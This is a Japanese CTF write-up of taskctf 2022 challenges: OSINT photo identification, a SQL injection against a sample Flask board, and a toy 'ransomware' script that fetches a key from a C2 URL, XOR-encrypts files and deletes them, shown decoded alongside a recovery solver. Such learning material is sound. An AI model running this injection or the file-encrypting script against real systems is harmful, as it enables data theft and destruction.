taskctf お誕生日おめでとうございます.
全完者がいっぱいいる中沼って全完できそうになかったので,23時ごろから途中であきらめてwriteupを書きました.楽しかったです!
解いた問題たち
Challenges | Category | Value | Time |
---|---|---|---|
welcome | osint | 100 | December 3rd, 1:22:56 AM |
submit_flag | tutorial | 1 | December 3rd, 1:23:04 AM |
just_google_it | tutorial | 10 | December 3rd, 1:24:54 AM |
try_python | tutorial | 10 | December 3rd, 1:32:02 AM |
ramen | osint | 100 | December 3rd, 1:42:23 AM |
build_docker_environment | tutorial | 10 | December 3rd, 1:46:09 AM |
kofun | osint | 356 | December 3rd, 1:54:49 AM |
ransomware | misc | 404 | December 3rd, 3:34:16 AM |
first | web | 469 | December 3rd, 5:13:32 AM |
douro | osint | 457 | December 3rd, 2:32:07 PM |
この記事は東京高専プロコンゼミ① Advent Calendar 2022
4日目のために書かれた記事です.ぜひほかの記事もご覧ください.
tutorial
submit_flag
問題文
Flagを提出してみましょう!taskctf{th1s_1s_f14g}
問題文のflagを提出するだけ.
just_google_it
warmup
分からないことがあれば、自分で調べてみましょう!
添付ファイルの文字列からFlagを取得してください!
添付ファイル: base64_encoded.txt
base64でエンコードされた文字が渡されるのでCyberChef
でbase64デコードするとHello!
という文字列の中にフラグが隠れていた.
taskctf{Y0u_n0w_know_base64!}
try_python
warmup
Pythonはインタプリタ型のプログラミング言語です。計算やファイルの読み書き、ネットワーク操作などを簡単に実行できるため、CTFではよく利用されます。
Pythonを使って配布ファイルに書かれた数字を全て足してみましょう! Flagは taskctf{ファイルに書かれた数の合計} です。
添付ファイル: numbers.txt
大量の数字が書かれたファイルが渡されるので,pythonなりなんなりで合計値を求めて終わり.
sum=0
with open("./numbers.txt") as f:
for line in f:
for s in line.split():
sum+=int(s)
print(sum)
taskctf{250000}
build_docker_environment
warmup
DockerとはOSレベルの仮想化技術です。簡単にいうと、どのPCでも同じ環境をコマンド1つで作成できるようになります。これにより、皆さんのPC上でもデバッグを行うことができます。
配布ファイルに含まれるapp/app.pyのコメントを外してDockerコンテナを起動し、Flagを取得してみましょう!
添付ファイル: file.zip
書いてあるようにapp/app.py
のコメントアウトを外して
docker-compose.yaml
がある場所で
docker-compose up
したのちhttp://localhost:31777
にアクセスするとflagが表示されていた.
taskctf{taskctf{D1d_y0u_run_d0cker_c0nta1ner?}}
OSINT
たのしいOSINT
OSINTは与えられた情報を調査するやつです.
welcome
問題文
2019年のtaskctfのwelcome問題のFlagは何でしたっけ?
ググるとst98さんのwriteupにwelcomeのflagがあった.
ramen
easy
このラーメン屋の名前は何でしょう?
正式名称ではなく、漢字のみで taskctf{ラーメン屋の名前}の形式で回答してください。 ラーメン屋の名前がラーメン二郎であれば、 taskctf{二郎} がFlagになります。
添付ファイル: ramen.jpg
上の画像のラーメン屋を知りたい..困ったときの神の目GooleLens
すごい.1行2列の画像のタンブラーが添付ファイルのものと似ているためたぶんこれ.
提出してみるとCorrectだった.
taskctf{蝋燭屋}
kofun
medium
作問者が訪れてSNSにもアップロードしたはずの古墳の名前を思い出せなくなってしまいました... もしご存知なら教えてくれませんか?
Flagの形式はtaskctf{この古墳の名前の漢字表記} です。 例えば、 造山古墳 が答えならば taskctf{造山古墳} がフラグになります。
添付ファイル: kofun.jpeg
問題文より作問者task4233さんのツイートをあさる.するとこんなtweetがあった.
友達と古墳を20基程度回るなどした pic.twitter.com/ZqE77AKNlY
— task4233 (@task4233) August 14, 2022
二枚目の画像をまたもやGoogleLens
に通す.
結果
一番目のものが似ているので,これをググる.
GoogleMap
この古墳のどれかだと思われる.とりあえずやっていっていくと.一番名前らしい名前を持っている上福田岩屋古墳だった.
taskctf{上福田岩屋古墳}
douro
medium
この写真が撮られた場所の緯度と経度を教えてください!
フラグの形式は taskctf{緯度_経度} です。ただし、緯度経度は十進法で小数点以下四桁目を切り捨てたものとします。 例えば、 皇居の入口が答えなら taskctf{35.682_139.762}が答えになります。
douro.jpeg
とりあえずGoogleLens
.しかしそれらしいのは出てこなかった.ので奥の看板の文字を調べる.
Culver P
をGoogleMap
で調べていると運よくカルバー・プラザという施設が検索候補に出てきた
周辺を探索するとそれらしいところが見つかった.
taskctf{33.693_-117.798}
これのフラグの形式を間違えてぬまったが無事正解できた.
web
難易度warmup
のrobots
とmedium
のfirst
の2題問題があったが私はweb雑魚なのでmedium
のほうしか解けなかった...悲しい
first
medium
運営している小さな掲示板が100ユーザを達成しました 🎉
そこで、メンテ明けの12/6に100番目ちょうどの登録をしたユーザをトップページで掲載したいので、ユーザ名を taskctf{ユーザ名} で教えてください!
http://34.82.208.2:31555/
添付ファイル: file.zip
import os
import sqlite3
import traceback
import random
import io
import sys
import time
from flask import Flask, abort, request, render_template
from uuid6 import uuid7
from faker import Factory
sys.stdout = io.TextIOWrapper(sys.stdout.buffer, encoding='utf-8')
app = Flask(__name__)
# ready user and post data
fake = Factory.create('ja_JP')
db_name = "first.db"
@app.route("/<path:path>")
def missing_handler(path):
abort(404, "not found")
# NOTE: This handler is not unavailable
# @app.route("/register", methods=["POST"])
# def register_post():
# data = request.json
# c = sqlite3.connect(db_name)
# c.execute(f"INSERT INTO users (name, id) VALUES ({data['name']}, {str(uuid7())})")
# c.commit()
# c.close()
class Index_get_response:
def __init__(self, response_from_db: tuple) -> None:
if response_from_db is None or len(response_from_db) != 3:
raise TypeError('response_from_db must be tuple whose size is 3.')
id, user_name, body = response_from_db
if type(id) != int or type(user_name) != str or type(body) != str:
raise TypeError('response_from_db must be (int, str, str) tuple.')
self.id = id
self.user_name = user_name
self.body = body
@app.route("/", methods=["GET"])
def index_get():
q = ''
if request.args.get('q') is not None:
q = request.args.get('q')
results = None
c = sqlite3.connect(db_name)
try:
cur = c.cursor()
cur.execute(f"SELECT posts.id, users.name, posts.body FROM posts INNER JOIN users ON posts.user_name = users.name AND posts.body LIKE \'%{q}%\'")
results = cur.fetchall()
except Exception as e:
traceback.print_exc()
return f'error: {e}', 500
finally:
c.close()
results_resp = [Index_get_response(result) for result in results]
return render_template('index.html', results=results_resp)
if __name__ == "__main__":
app.run(debug=True, host="0.0.0.0", port=31555)
添付ファイルのappを読むと明らかなSQL injection
が存在する.
cur.execute(f"SELECT posts.id, users.name, posts.body FROM posts INNER JOIN users ON posts.user_name = users.name AND posts.body LIKE \'%{q}%\'")
よって検索欄に
'OR posts.user_name != users.name ORDER BY users.id--
を入れることで,users.id
順に並び変えたものを表示させる.
わてはSQLを知らないのでここからがゴリ押し.
まず全体をコピーします
その後以下のコマンドで3行につき1行抽出し,被っている行を削除し適当なファイルに入れます.
awk 'NR%3==1' postlist.txt |uniq>a.txt
この100行目の人がフラグです.
taskctf{Satomi_Kato}
ユーザーが全員一回以上Postしているという仮定の下の解法でした.(ほかの方はunion selectとか使ってきれいにやっていた)
misc
miscはその他の分野,全部手出したけど解けたのは一番簡単なransomware
だけだった.
ransomware
easy
友人が誕生日祝いで送ってきたスクリプトを実行したら、お手製ランサムで手元のFlagを暗号化されてしまいました。どうにかして復元できないでしょうか?
添付ファイル:files.zip
file.zipを展開すると
#!/bin/sh
echo "IyEvdXNyL2Jpbi9lbnYgcHl0aG9uMwoKaW1wb3J0IHJlcXVlc3RzCmltcG9ydCBnbG9iCmltcG9ydCBvcwoKQzIgPSAiaHR0cHM6Ly9jMi50YXNrNDIzMy5kZXYvYkQ3YkI3cGM1N2QyIgoKZGVmIG1haW4oKToKICAgICMgZ2V0IGEga2V5IGZyb20gYSBjMiBzZXJ2ZXIKICAgIGtleSA9IGludChyZXF1ZXN0cy5nZXQoQzIpLnRleHQpCgogICAgZmlsZXMgPSBnbG9iLmdsb2IoJy4vKicpCiAgICAjIGFkZGVkIGZvciBDVEY6KQogICAgYXNzZXJ0ICIuL3Rhc2tjdGZfZmxhZy50eHQiIGluIGZpbGVzCgogICAgIyBlbmNyeXB0IGFsbCBmaWxlcwogICAgZm9yIGZpbGUgaW4gZmlsZXM6CiAgICAgICAgIyBpZ25vcmUgdGhpcyBzY3JpcHQgYW5kIGRpcmVjdG9yaWVzCiAgICAgICAgaWYgb3MucGF0aC5iYXNlbmFtZShmaWxlKSA9PSBvcy5wYXRoLmJhc2VuYW1lKF9fZmlsZV9fKToKICAgICAgICAgICAgY29udGludWUKICAgICAgICBpZiBub3Qgb3MucGF0aC5pc2ZpbGUoZmlsZSk6CiAgICAgICAgICAgIGNvbnRpbnVlCgogICAgICAgICMgZW5jcnlwdCBhIHRhcmdldCBmaWxlCiAgICAgICAgZGF0YSA9IE5vbmUKICAgICAgICB3aXRoIG9wZW4oZmlsZSwgJ3InKSBhcyBmOgogICAgICAgICAgICBkYXRhID0gZi5yZWFkKCkgICAgICAgIAogICAgICAgIGVuY3J5cHRlZCA9ICIiCiAgICAgICAgZm9yIGNoIGluIGRhdGE6CiAgICAgICAgICAgIGVuY3J5cHRlZCArPSBjaHIob3JkKGNoKSBeIGtleSkKICAgICAgICB3aXRoIG9wZW4oZiJ7ZmlsZX0uZW5jcnlwdGVkIiwgJ3cnKSBhcyBmOgogICAgICAgICAgICBmLndyaXRlKGVuY3J5cHRlZCkKICAgICAgICAKICAgICAgICAjIGRlbGV0ZSB0aGUgcmF3IGZpbGUKICAgICAgICBvcy5yZW1vdmUoZmlsZSkKICAgIAogICAgcHJpbnQoJ1wwMzNbMzFtISEhIFlPVVIgRkxBRyBIQVMgQkVFTiBFTkNSWVBURUQgISEhXDAzM1swbScpCiAgICBwcmludCgnXDAzM1szMW1Zb3UgaGF2ZSB0d28gY2hvaWNlcy4gVHJlYXQgbWUgd2hlbiBJIHNlZSB5b3UgbmV4dCB0aW1lLCBvciBkZWNyeXB0IGl0IHlvdXJzZWxmIGlmIHlvdSBjYW4gbG9sLlwwMzNbMG0nKQoKaWYgX19uYW1lX18gPT0gIl9fbWFpbl9fIjoKICAgIG1haW4oKQo=" | base64 -d | python3
と暗号化されたファイル
䔘䔍䔟䔇䔏䔘䔊䔗䔔䕜䔞䔳䕝䔟䔳䔉䕘䔟䔕䔳䕛䕜䔳䕝䔁䔜䔀䔉䔁䔉䔂䕛䔑䕦
が入っていた.とりあえずbase64でデコードすると
#!/usr/bin/env python3
import requests
import glob
import os
C2 = "https://c2.task4233.dev/bD7bB7pc57d2"
def main():
# get a key from a c2 server
key = int(requests.get(C2).text)
files = glob.glob('./*')
# added for CTF:)
assert "./taskctf_flag.txt" in files
# encrypt all files
for file in files:
# ignore this script and directories
if os.path.basename(file) == os.path.basename(__file__):
continue
if not os.path.isfile(file):
continue
# encrypt a target file
data = None
with open(file, 'r') as f:
data = f.read()
encrypted = ""
for ch in data:
encrypted += chr(ord(ch) ^ key)
with open(f"{file}.encrypted", 'w') as f:
f.write(encrypted)
# delete the raw file
os.remove(file)
print('\033[31m!!! YOUR FLAG HAS BEEN ENCRYPTED !!!\033[0m')
print('\033[31mYou have two choices. Treat me when I see you next time, or decrypt it yourself if you can lol.\033[0m')
if __name__ == "__main__":
main()
こんなコードが出てきた.
ファイルを読み込んであるkey
で一文字ずつxor
して暗号化しているようです.
key
は外部の鯖からとってきているようですがこの鯖は動いていません.(仕様)なので別のアプローチでkey
を入手する必要があります.
ここで重要なのが暗号化されたファイルはフラグだということです.
フラグの形式は必ずtaskctf{}
なので暗号化された最初の文字'䔘'
とフラグの最初の文字't
のxor
でkey
が手に入りそうです.
この考えでsolverを書くと以下のようになりました.
file="taskctf_flag.txt"
d=""
with open(f"{file}.encrypted", 'r') as f:
e=f.read()
key=ord(e[0])^ord('t')
for s in e:
d+=chr(ord(s)^key)
print(d)
taskctf{x0r_1s_e4sy_70_1mplemen7}
まあ総あたりでkey探したほうが確実そう.
以上
shellgeiは頑張って自分の環境のbash(docker上ではない)で動くやつを以下のページを参考に作ったのだがwebアプリ上で動かなかった.悲しい(たぶんwebアプリ上で一回ファイルに保存しているから動かなかった.ちゃんと渡されたファイルを使おう!!)
${!#}<<<${!#}\<\<\<\$\'\\${##}$((${##}+${##}+${##}+${##}))$((${##}+${##}+${##}))\'\$\'\\${##}$((${##}+${##}+${##}+${##}))$((${##}))\'\$\'\\${##}$((${##}+${##}+${##}+${##}+${##}+${##}))$((${##}+${##}+${##}+${##}))\'\$\'\\${#}$((${##}+${##}+${##}+${##}))$((${#}))\'\$\'\\${##}$((${##}+${##}+${##}+${##}))$((${##}+${##}+${##}+${##}+${##}+${##}))\'\$\'\\${##}$((${##}+${##}+${##}+${##}+${##}))$((${##}+${##}+${##}+${##}))\'\$\'\\${##}$((${##}+${##}+${##}+${##}))$((${##}))\'\$\'\\${##}$((${##}+${##}+${##}+${##}))$((${##}+${##}+${##}+${##}+${##}+${##}+${##}))\'.\$\'\\${##}$((${##}+${##}+${##}+${##}+${##}+${##}))$((${##}+${##}+${##}+${##}))\'\$\'\\${##}$((${##}+${##}+${##}+${##}+${##}+${##}+${##}))$((${#}))\'\$\'\\${##}$((${##}+${##}+${##}+${##}+${##}+${##}))$((${##}+${##}+${##}+${##}))\'
うごいた?
できそうで全完できなかったのが悲しい.
まあ楽しかったのでOKです!!誕生日おめでとうございました.
この記事は東京高専プロコンゼミ① Advent Calendar 2022
4日目のために書かれた記事です.ぜひほかの記事もご覧ください.